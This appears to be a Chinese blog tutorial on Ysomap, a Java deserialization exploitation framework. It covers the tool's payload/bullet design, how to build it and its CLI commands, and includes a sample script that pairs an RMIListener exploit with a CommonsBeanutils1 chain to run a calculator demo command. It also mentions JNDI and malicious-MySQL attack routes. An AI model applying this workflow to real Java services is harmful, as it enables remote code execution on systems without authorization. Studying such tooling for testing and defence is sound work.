YSOMAP取经之路-1
2023-08-03 14:26:54

0x01 Intro

Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload。

YsoMap针对ysoserialmarshalsec两款工具解决的痛点:
现存两款工具的payload写死,在面对复杂的实际环境无法灵活、自由拼凑利用链。

e.g. XStreamLazyValue具备任意调用静态函数的利用效果,很容易想到很多可以利用的静态函数,如javax.naming.InitialContext#doLookup对外发起JNDI请求,java.sql.DriverManager#getConnection连接恶意MySQL服务,但经常会遇到目标环境不出网的情况。一个解决方案是,若目标环境依赖spring框架,可以利用org.springframework.util.SerializationUtils.deserialize来进行二次反序列化,此时原本的XStream的payload就进一步转化为Java原生反序列化的利用了。

对此,ysomap采用模块化的思想,具备动态组合利用链和利用效果的能力。对于遇到的不同环境,根据特定的组合来达成实际利用。

其将利用链分为两个部分payloadbullet

  1. payload: 利用链的前序部分
  2. bullet: 利用链可达成的效果,如命令执行、JNDI连接等

e.g. CommonsCollections1和3的区别是1使用的是InvokerTransformer而3使用的是TemplatesImpl,提取相同的前序payload,只需写两个不同的bullet,且这两个bullet也同样能被用于其他payload

此外ysomap具备可扩展性,支持用户自己编写的payloadbulletexploit

0x02 Getting Started

Jar Compilation

Xstreampayload依赖JDK8环境,在JDK8的环境下编译

1
mvn clean package -DskipTests

编译成功后在cli/target目录下找到ysomap.jar

Jar Run

ysomap支持两种运行模式

  • CLI模式

    1
    java -jar ysomap.jar cli
  • 脚本模式

    1
    java -jar ysomap.jar script path/to/script.yso

进入CLI模式

  • list
1
list <type>         list exploits, bullets and payloads

list exploits查看所有exploit

  • show
1
show <type>         show payload/bullet/exploit details

查看当前选择的payload/bullet/exploit的细节

  • set
1
set <key> <value>   set exploit/bullet's arguments

配置exploit或payload的详细信息

1
2
3
4
5
# 配置序列化数据生成后采用base64进行编码
set encoder base64
# 配置序列化数据生成后输出的位置,console为直接在终端输出,file为默认在当前目录生成obj.ser文件
set output console
set output file
  • use
1
use <type> <name>   choose a exploit/payload/bullet

选择对应的exploit/payload/bullet

  • session

ysomap中每一个payload或exploit的配置都会生成一个session,session用于维持当前的配置信息和运行状态

1
2
3
4
5
clear               clear current sessions
session [c|i] recover to a session or create a new session
sessions print current running exploit sessions
stop stop current session
kill [uuid|all] kill sessions, like 'kill uuid' or 'kill all'
  • run
1
run                 run current session

Process

  • 生成特定序列化数据

    • use payload xxx 设置一个payload
    • show options 获取当前payload配置信息
    • use bullet xxx 设置payload的利用效果
    • show options 获取当前payload和bullet的配置信息
    • set key value 配置一些参数
    • run 生成序列化数据

    当生成的序列化数据为json或xml时,序列化后的数据将直接打印在终端上

    当生成的序列化数据为二进制数据,则会在当前目录生成一个obj.ser文件

  • 利用ysomap进行攻击

    • use exploit xxx 设置一个exploit
    • show options
    • 若需要设置payload,参考上面步骤
    • set key value 配置一些参数
    • run 执行进行相应攻击

image-20230708155334253

对于第一次的配置,我们可以通过终端模式的提示一步一步配置。在接下来的运行中,我们可以将执行的操作记录成yso文件,然后使用script模式进行载入

1
2
3
4
5
6
use exploit RMIListener
use payload CommonsBeanutils1
use bullet TemplatesImplBullet
set lport 1099
set body "open -a Caclulator.app"
run

Reference

ysomap : Java反序列化利用框架 (seebug.org)